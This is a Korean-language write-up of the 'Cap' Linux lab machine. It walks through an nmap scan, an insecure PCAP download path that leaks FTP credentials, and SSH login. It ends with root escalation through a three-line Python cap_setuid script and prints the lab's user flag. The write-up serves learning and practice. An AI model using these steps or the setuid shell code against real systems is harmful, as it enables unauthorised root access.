[EASY_LINUX] Cap write-up

우선 nmap 스캐닝부터 진행했다.
➜ ~ sudo nmap 10.129.32.106 -sC -sV --open --min-rate 2000
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-09 07:21 +0900
Nmap scan report for 10.129.32.106
Host is up (0.27s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.74 seconds
- 21/tcp : ftp
- 22/tcp : ssh
- 80/tcp : http
우선 ftp부터 정보 수집을 진행했다.
➜ ~ ftp 10.129.32.106
Connected to 10.129.32.106.
220 (vsFTPd 3.0.3)
Name (10.129.32.106:kali): anonymouse
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
ftp>
Null session 취약점은 없는 듯 했다.
ftp는 나아가기 어려워보이니 패스했다.
다음으로는 http를 점검해봤다. (ssh도 정보가 없어서 시도 조차 어려움)

일단 Nathan 이라는 유저가 있는 것 같다. 그리고 좌측 메뉴에 PCAP, IP Config, Network Status 라는 메뉴들이 있었는데, 이것들 이외에는 따로 동작하는건 찾을 수 없었다.
IP Config, Network Status 모두 어떤 페이로드가 날아가는 형태가 아니라 고정값으로 박혀있는 형태여서 여기서 주어진 정보들로 뭔가 해야되는 것 같다.
IP Config는 말그대로 호스트 ip 정보가 들어있었고, Network Status는 netstat 명령을 사용한 결과가 보였다.
Network Status에는 소켓 상태도 확인이 가능했는데, lxd가 돌고 있었어서 나중에 침투 후 privilged로 실행이 가능한지 확인해보면 좋을 것 같다.
PCAP의 경우,


중요해 보이는 pcap 파일을 다운로드 할 수 있게 해뒀는데,
wireshark로 이를 확인해 보면, host랑 통신했단 패킷 내역들이 모여있다.

근데 다운로드 경로를 보니 /data/1 에서 다운로드가 된거 같은데, 0으로 바꿔서도 다운로드 해봤다.

/data/1 에서는 내가 host한테 날린 패킷들이 보였는데, /data/0에서는 내부망에서 통신이 일어난 패킷 정보들이 보였다.

그리고 조금만 내려보면 FTP에 접속했던 기록을 확인할 수 있으며,
nathan이라는 유저명과 Buck3tH4TF0RM3! 이라는 패스워드도 얻을 수 있었다!!
User : nathan
Password : Buck3tH4TF0RM3!
해당 정보로 ftp 서버에 다시 접근해보면,
➜ cap ftp nathan@10.129.32.106
Connected to 10.129.32.106.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
요렇게 로그인에 성공할 수 있다!
ftp> get user.txt
local: user.txt remote: user.txt
229 Entering Extended Passive Mode (|||56999|)
150 Opening BINARY mode data connection for user.txt (33 bytes).
100% |**********************************************************************************************************************| 33 0.11 KiB/s 00:00 ETA
226 Transfer complete.
33 bytes received in 00:01 (0.02 KiB/s)
➜ cap cat user.txt
99f90c462152ff001034950b33d43ef1
여기서 user flag를 획득할 수 있다.
그리고 해당 정보와 동일하게 ssh 접속도 시도해봤다.
➜ cap ssh nathan@10.129.32.106
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
nathan@10.129.32.106's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri May 8 23:07:19 UTC 2026
System load: 0.0
Usage of /: 36.7% of 8.73GB
Memory usage: 21%
Swap usage: 0%
Processes: 229
Users logged in: 0
IPv4 address for eth0: 10.129.32.106
IPv6 address for eth0: dead:beef::a0de:adff:feec:a01
=> There are 4 zombie processes.
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
63 updates can be applied immediately.
42 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$
(성공~!)
user flag는 획득했기에, 바로 lpe를 진행해보기로 했다.
sudo -l로 sudo list를 확인해봤지만 권한이 막혀있었다.
lxd를 시도할까했지만, 어려워 보였다…(lxc가 없…)
PEAS(Privilege Escalation Awesome Script)툴의 힘을 빌려볼까 한다.
리눅스, 윈도우, macOS 등 다양한 운영체제 환경에서 LPE vector를 장동으로 스캔하고 식별하는 오픈소스 도구 모음이다.
- 시스템 및 환경변수
- 권한 및 사용자 설정
- 파일 권한 및 특수 비트
- 프로세스 및 스케줄링
- 크리덴셜 수집
- 등등

(실행 결과) Copy fail은 제외했다…
우선 CVE-2021-3493 이 탐지가 되었길래, 요거 CVE를 좀 찾아보니까
https://github.com/puckiestyle/CVE-2021-3493
POC도 금방 찾을 수 있었다.
근데 이 녀석을 쓸려고 보니까 잘 안돼서 다른 방법들을 찾아봤다.
(CVE류는 쓰기 까다로웠따…)
그러다가 python 취약점 하나가 있었는데,

이게 뭔지 살펴보니까, 다음과 같았다.
Cap(Capabilities) 과거 리눅스는 권한을 오직 두 가지로만 나누었다.
- root
- non-root
예를 들어 일반 사용자가 ping 명령어를 치려면 네트워크의 Raw 소켓을 건드려하는데, 이 작업은 root 권한이 필요하다. 그래서 옛날에는 ping 프로그램에 SUID를 걸어서, 누가 실행하든 잠깐 root 권한으로 실행되게 만들었다.
하지만 만약 ping 프로그램에 취약점이 있다면 해커는 곧바로 시스템 전체를 장악할 수 있었다.
이 문제를 해결하기 위해 root의 권한을 작은 조각(Capability)로 쪼갠 것이 바로 cap이다.
flag의 의미
- e (Effective) : 실행 시 권한이 즉시 활성화됨
- p (Permitted) : 이 프로그램이 해당 권한을 사용할 수 있도록 승인됨
- i (Inheritable) : 이 프로그램이 자식 프로세스를 만들 때 권한을 물려줄 수 있음.
여기까지 설명을 듣고 다시 peas 결과를 봤는데, 생각해보니 python3.8 이 녀석은 eip를 다 가지고 있을 필요가 없다.
심지어 setuid 명령을 맘대로 실행할 수 있어서 굉장히 취약하다.
import os
os.setuid(0)
os.system('/bin/sh')
이렇게 작성한 뒤, python3 으로 실행시켜보면?
nathan@cap:~$ vim exploit.py
nathan@cap:~$ python3 exploit.py
# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
이렇게 권한 상승까지 성공할 수 있었다!
← ALL POSTS